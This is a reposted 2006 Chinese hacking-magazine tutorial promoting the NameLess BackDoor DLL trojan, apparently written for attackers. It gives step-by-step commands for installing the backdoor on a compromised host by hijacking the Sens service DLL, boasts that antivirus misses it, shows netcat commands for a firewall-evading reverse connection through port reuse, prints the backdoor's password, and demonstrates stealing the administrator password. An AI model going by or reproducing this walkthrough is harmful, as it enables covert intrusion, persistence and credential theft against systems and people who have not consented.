氣瘋安全工具—新興DLL型木馬復仇記
作者：佚名 來(lái)源：不詳 發(fā)布時(shí)間：2006-3-9 20:48:59
增大字體
NameLess BackDoor是一款新興的DLL型木馬，這個(gè)木馬出世沒(méi)多久，但絕對是一匹極有潛質(zhì)的千里駒。
說(shuō)起NameLess BackDoor的前身來(lái)，不得不提及榕哥的BITS和WinEggDrop的PortLess。這兩款大名鼎鼎的木馬曾經(jīng)都風(fēng)光一時(shí)，可以說(shuō)是木馬界的元老了。而NameLess BackDoor則是匯集了上面這兩款木馬的優(yōu)點(diǎn)，在目標機器的進(jìn)程管理器中看不到，平時(shí)沒(méi)有端口，提供正向連接和反向連接兩種功能。同時(shí)NameLess BackDoor又去除了各處的缺點(diǎn)，比如反彈的cmd.exe進(jìn)程，在目標機器的進(jìn)程管理中也可以隱藏無(wú)需利用BITS服務(wù)等（馬兒：不開(kāi)端口，無(wú)進(jìn)程，看看防火墻和殺毒軟件還能拿我怎么辦！氣死你，哈哈）。
NameLess BackDoor實(shí)戰演練
將NameLess BackDoor安裝上遠程主機到連接木馬控制主機，就像一場(chǎng)進(jìn)行在殺毒軟件和防火墻眼皮底下，卻又無(wú)聲無(wú)悄的暗戰。
一、隨風(fēng)潛入夜——安裝
下載NameLess BackDoor木馬，壓縮包中有兩個(gè)名為NameLess.dll的DLL文件，一個(gè)Pack壓縮加過(guò)殼的，一個(gè)是Unpack未壓縮加殼的。先在本地用各種殺毒軟件掃描一下這兩個(gè)文件（筆者用的是最新病毒庫的KV2005），但是一向以殺毒能力著(zhù)稱(chēng)的KV2005竟然對這兩個(gè)木馬文件視而不見(jiàn)。呵，這下子可以放心的在任何環(huán)境下進(jìn)行安裝了。
怎么將木馬安裝到遠程的
電腦上呢？當然最簡(jiǎn)單的就是掃描要攻擊
電腦上的系統漏洞，然后進(jìn)行攻擊入侵控制。方法很多了，反正你拿到遠程主機的控制權后，將上面的任意一個(gè)“NameLess.dll”文件上傳到遠程主機上的。在這里筆者是使用Ttelnet遠程連接后，寫(xiě)入一個(gè)FTP下載的BAT文件，直接在本地建立了一個(gè)FTP服務(wù)器，通過(guò)FTP服務(wù)器下載上傳文件的（這些內容以前雜志介紹過(guò)，這里就不作過(guò)多的講解啦）。下面重點(diǎn)來(lái)看看我是怎樣安裝木馬文件的吧！
在遠程Ttelnet命令窗口中切換到文件上傳目錄中，并輸入如下命令（如圖1）：
Rundll32 NameLess.dll,Install
執行該命令后后門(mén)就被安裝成功了，后門(mén)會(huì )自動(dòng)替換系統服務(wù)Sens的ServiceDll文件，在
電腦重啟后以Svchost.exe啟動(dòng)。
小提示：由于NameLess BackDoor是一個(gè)DLL型木馬，因此在安裝和啟動(dòng)的過(guò)程中，遠程主機上的殺毒軟件不會(huì )有任何提示和反應。
二、穿墻細無(wú)聲——連接
安裝和啟動(dòng)的過(guò)程中順利地搞定了殺毒軟件，下面看看NameLess BackDoor怎么讓防火墻無(wú)能為力的。
小提示：NameLess BackDoor有兩種連接方式：正向連接和反向連接，其中反向方式連接可以讓防火墻不會(huì )發(fā)出任何提示。同時(shí)NameLess BackDoor在連接后門(mén)時(shí)使用了端口復用技術(shù)，通過(guò)重用系統進(jìn)程開(kāi)放的任意一個(gè)端口，因此可以輕松的穿透各種防火墻。
我們首先需要掃描遠程主機上開(kāi)放了哪些端口，假設某臺遠程主機（IP地址為：192.168.1.11）上開(kāi)放了139端口，那么可以本地打開(kāi)一個(gè)命令窗口，切換到瑞士軍刀NC所在的目錄中，運行如下命令：
nc
-l -p 12345
命令執行后將在本地監聽(tīng)12345端口，然后再打開(kāi)一個(gè)命令窗口，輸入如下命令（如圖2）：
nc 192.168.1.11 139
建立連接后輸入如下內容（如圖3）：
dargun|192.168.1.11:12345
其中的IP地址可根據具體情況進(jìn)行更改。命令執行后，在剛才的監聽(tīng)窗口中就可以看到出現了連接提示：“Enter Password:”，輸入密碼158352692后就可以成功的登陸遠程主機而不被防火墻發(fā)現了?。ㄈ绻沂欠阑饓?，一定氣瘋了，哈）
三、為我所欲為——控制
成功“氣死”殺毒軟件和“逼瘋”防火墻后，現在就可以控制遠程主機了。NameLess
BackDoor的強大也體現在它的控制功能上，連接登陸遠程主機后，輸入help命令，即可看到詳細的命令幫助信息（如圖4）。如果你使用過(guò)winshell或wineggdropshell的話(huà)，應該對這種模式的后門(mén)就不會(huì )陌生，不過(guò)就算從來(lái)沒(méi)有使用過(guò)這樣的后門(mén)，也會(huì )感覺(jué)很簡(jiǎn)單的。
1.巧盜管理員密碼
連接上遠程主機后該干什么呢？我得好好想一想……呵呵，看看管理員的密碼是多少吧！
在命令窗口中直接輸入“findpass”命令，很快就可以看到管理員的密碼了（如圖5），真是夠簡(jiǎn)單的！
相關(guān)文章:winkld.dll 木馬,dll木馬,msdc32.dll木馬,wint
